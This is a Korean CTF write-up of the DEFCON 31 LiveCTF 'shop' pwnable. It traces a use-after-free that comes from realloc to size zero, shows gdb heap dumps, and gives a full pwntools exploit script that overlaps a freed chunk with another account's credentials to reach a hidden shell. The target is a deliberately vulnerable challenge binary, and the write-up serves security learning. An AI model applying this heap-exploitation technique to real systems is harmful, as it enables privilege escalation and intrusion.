DEFCON 31 LiveCTF - shop

  • 2024๋…„ 7์›” 16์ผ
  • 2๋ถ„ ์ฝ๊ธฐ
  • Tags:ย 
  • ctf,ย 
  • pwnable,ย 
  • realloc,ย 
  • uaf

0x00. Introduction

[*] '/home/user/uaf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled

Structures

struct credential {
    char is_admin;      // alignment ๋•Œ๋ฌธ์— ์–ด์ฐจํ”ผ 8๋ฐ”์ดํŠธ๋ฅผ ์ฐจ์ง€
    struct shelf *shelf_ptr;
    char *username;
    char *password;
    struct credential *next_cred;
}

struct shelf {
    long count;
    struct item *item_ptr;
}

struct item {
    long number;
    long price;
    char *name;
    char *description;
}

Goal

unsigned __int64 hidden_1C83()
{
  unsigned __int64 v1; // [rsp+8h] [rbp-8h]

  v1 = __readfsqword(0x28u);
  if ( LOBYTE(login_info_4108->is_admin) )
    system("/bin/sh");
  else
    puts("Not an admin");
  return v1 - __readfsqword(0x28u);
}

๋กœ๊ทธ์ธ ์ดํ›„์˜ ๋ฉ”๋‰ด์—์„œ 7๋ฒˆ์„ ์„ ํƒํ•˜๋ฉด ํ˜ธ์ถœ๋˜๋Š” ์ˆจ๊ฒจ์ง„ hidden_1C83()์ด ์กด์žฌํ•œ๋‹ค. ์—ฌ๊ธฐ์—์„œ login_info์˜ ์ฒซ ๋ฐ”์ดํŠธ, ์ฆ‰ is_admin์˜ ๊ฐ’์ด 0์ด ์•„๋‹ˆ๋ฉด ์‰˜์„ ๋„์›Œ์ค€๋‹ค.

0x01. Vulnerability

unsigned __int64 add_item_1357()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count + 1));
      if ( tmp )
      {
        ++shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
        memcpy(&shelf_ptr->item_ptr[shelf_ptr->count - 1], &selected, sizeof(shelf_ptr->item_ptr[shelf_ptr->count - 1]));
      }
  ...
}

unsigned __int64 remove_item_14B6()
{
  ...
      tmp = realloc(shelf_ptr->item_ptr, 0x20 * (shelf_ptr->count - 1));
      if ( tmp )
      {
        --shelf_ptr->count;
        shelf_ptr->item_ptr = tmp;
      }
      else
      {
        puts("Error removing item");
      }
  ...
}

add_item_1357()์—์„œ item์„ ์ถ”๊ฐ€ํ•˜๋ฉด item_ptr์— ํž™ ์˜์—ญ์ด ํ• ๋‹น๋œ๋‹ค. ์ด๊ฒƒ์„ remove_item_14B6()์—์„œ item์„ ์‚ญ์ œํ•  ๋•Œ ์ฒญํฌ ์‚ฌ์ด์ฆˆ๋งŒ ์ค„์—ฌ์„œ ์žฌํ• ๋‹นํ•˜๋Š”๋ฐ ์‚ฌ์ด์ฆˆ๊ฐ€ 0์ด ๋์„ ๋•Œ realloc()์—์„œ NULL์ด ๋ฆฌํ„ด๋œ๋‹ค.

๊ทธ๋Ÿฐ๋ฐ shelf_ptr->item_ptr์˜ ๊ฐ’์ด ์ดˆ๊ธฐํ™”๋˜์ง€ ์•Š๊ณ  ๊ทธ๋Œ€๋กœ ๋‚จ์•„์žˆ๊ณ , ์‚ญ์ œ ์ดํ›„ ๋‹ค์‹œ add_item_1357()์„ ํ˜ธ์ถœํ•  ๋•Œ ํ•ด์ œ๋œ ์˜์—ญ์— ์ ‘๊ทผ์ด ๊ฐ€๋Šฅํ•˜๊ธฐ ๋•Œ๋ฌธ์— UAF ์ทจ์•ฝ์ ์ด ์กด์žฌํ•œ๋‹ค.

0x02. Exploit

unsigned __int64 open_account_1932()
{
  ...
      tmp = malloc(0x28uLL);
      LOBYTE(tmp->is_admin) = 0;
  ...
}

open_account_1932()๋ฅผ ๋ณด๋ฉด ๊ณ„์ •์„ ์ƒ์„ฑํ•˜๊ณ  ๋ฐ”๋กœ is_admin์„ 0์œผ๋กœ ๋งŒ๋“ ๋‹ค.

๋”ฐ๋ผ์„œ A ๊ณ„์ •์„ ๋งŒ๋“ค๊ณ  item์„ ์ถ”๊ฐ€ ํ›„ ์‚ญ์ œํ•˜์—ฌ ํ•ด์ œ๋œ ์˜์—ญ์„ B ๊ณ„์ •์˜ credential ๊ตฌ์กฐ์ฒด๊ฐ€ ๊ฐ€๋ฆฌํ‚ค๋„๋ก exploit์„ ๊ตฌ์„ฑํ–ˆ๋‹ค.

  • open_account A
  • add_item 1
  • remove_item 0
  • logout
  • open_account B

์ด๋Ÿฌํ•œ ์ˆœ์„œ๋กœ ํŽ˜์ด๋กœ๋“œ๋ฅผ ์ž‘์„ฑํ•ด์„œ, A์˜ item_ptr๊ณผ B์˜ credential์ด ๊ฐ™์€ ์˜์—ญ์— ์œ„์น˜ํ•˜๊ฒŒ ๋งŒ๋“ค ์ˆ˜ ์žˆ๊ณ ,

  • login as A
  • add_item 2

๋‹ค์‹œ A๋กœ ๋กœ๊ทธ์ธํ•œ ํ›„์— item์„ ์ถ”๊ฐ€ํ•ด์„œ item->number๋ฅผ ๋ณต์‚ฌํ•˜๋Š” ๊ณผ์ •์—์„œ is_admin์ด ๋ฎ์ด๋Š” ์‹œ๋‚˜๋ฆฌ์˜ค๋ฅผ ์ƒ๊ฐํ–ˆ์œผ๋‚˜โ€ฆ

# Credential of B - BEFORE
gefโžค  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555500      0x00005555555593a0
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

# Credential of B - AFTER
gefโžค  x/5gx 0x0000555555559330
0x555555559330: 0x0000000555555559      0x4ec540a62b019163
0x555555559340: 0x0000555555559360      0x0000555555559380
0x555555559350: 0x0000000000000000

์‰˜์ด ๋–จ์–ด์ ธ์„œ ์‹ค์ œ ๊ฐ’์ด ์ž˜ ๋ฎ์˜€๋Š”์ง€ ํ™•์ธํ•ด๋ณด๋‹ˆ item->number๊ฐ€ ์•„๋‹Œ ํ•ด์ œ๋œ chunk์˜ ๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ๋กœ ๋ฎ์—ฌ์žˆ์—ˆ๋‹ค.

๊ณฐ๊ณฐ์ด ์ƒ๊ฐํ•ด๋ณด๋‹ˆ ๋‹ค์Œ๊ณผ ๊ฐ™์€ ๋ฌธ์ œ๊ฐ€ ์žˆ์—ˆ๋‹ค.

  1. remove_item_14B6()์—์„œ realloc()์ด NULL์„ ๋ฆฌํ„ดํ•ด์„œ item_ptr ์ดˆ๊ธฐํ™”๋Š” ๋ฌผ๋ก  count ๊ฐ’๋„ ์ž‘์•„์ง€์ง€ ์•Š์Œ
  2. ๋‹ค์‹œ add_item_1357()๋ฅผ ํ•˜๋Š” ๊ณผ์ •์—์„œ count ๊ฐ’์ด ์•„์ง 1์ด๋ฏ€๋กœ 0x40๋งŒํผ realloc()์„ ์š”์ฒญํ•จ
  3. ์‚ฌ์ด์ฆˆ๋„ ๋งž์ง€ ์•Š๊ฑฐ๋‹ˆ์™€ B์˜ credential์ด ์žˆ๋Š” ์˜์—ญ์€ ๋‹ค์‹œ free๋œ ์ ๋„ ์—†๊ธฐ ๋•Œ๋ฌธ์— ์•„์˜ˆ ๋‹ค๋ฅธ ์˜์—ญ์ด ํ• ๋‹น๋จ

๊ฒฐ๊ณผ์ ์œผ๋กœ๋Š” realloc ๊ณผ์ •์—์„œ ๋ฉ”ํƒ€ ๋ฐ์ดํ„ฐ๊ฐ€ ์“ฐ์—ฌ์ง€๋ฉด์„œ is_admin์ด ๋ฎ์ด๊ฒŒ ๋˜์–ด ๋‹คํ–‰ํžˆ exploit์ด ์„ฑ๊ณตํ•œ๋‹ค. ์–ด์ฉŒ๋‹ค ๋ณด๋‹ˆ unintended solution์œผ๋กœ ํ‘ผ ๊ฒƒ ๊ฐ™๋‹คโ€ฆ ใ…‹ใ…‹ใ…‹ใ…‹

0x03. Payload

from pwn import *
from pwnlib.util.packing import p32, p64, u32, u64
import sys

BINARY = "uaf"
LIBRARY = "libc.so.6"

code_base = 0x0000555555554000
bp = {
    'main' : code_base + 0x1DC7,
    'open_account' : code_base + 0x1932,
    'hidden' : code_base + 0x1C83,
}

gs = f'''
b *{bp['open_account']}
b *{bp['hidden']}
continue
'''
context.terminal = ['tmux', 'splitw', '-hf']

def menu(s, inputs: list) :
    for i in range(len(inputs)):
        r = s.recvuntil(b': ').decode()
        if i == 0:
            print(r.split('\n')[int(inputs[i]) - 1])
        s.sendline(inputs[i].encode())
    return

def main():
    if(len(sys.argv) > 1):
        s = remote("0.0.0.0", int(sys.argv[1]))
    else:
        s = process(BINARY, env={"LD_PRELOAD" : LIBRARY})
        gdb.attach(s, gs)
    elf = ELF(BINARY)
    lib = ELF(LIBRARY)

    menu(s, ['2', 'aaaa', '1111'])  # open_account of A
    menu(s, ['2', '1'])             # add_item 1
    menu(s, ['3', '0'])             # remove_item 0
    menu(s, ['5'])                  # logout
    menu(s, ['2', 'bbbb', '2222'])  # open_account of B
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'aaaa', '1111'])  # login as A
    menu(s, ['2', '2'])             # add_item 2
    menu(s, ['5'])                  # logout
    menu(s, ['3', 'bbbb', '2222'])  # login as B
    menu(s, ['7'])                  # hidden
    s.interactive()

if __name__=='__main__':
    main()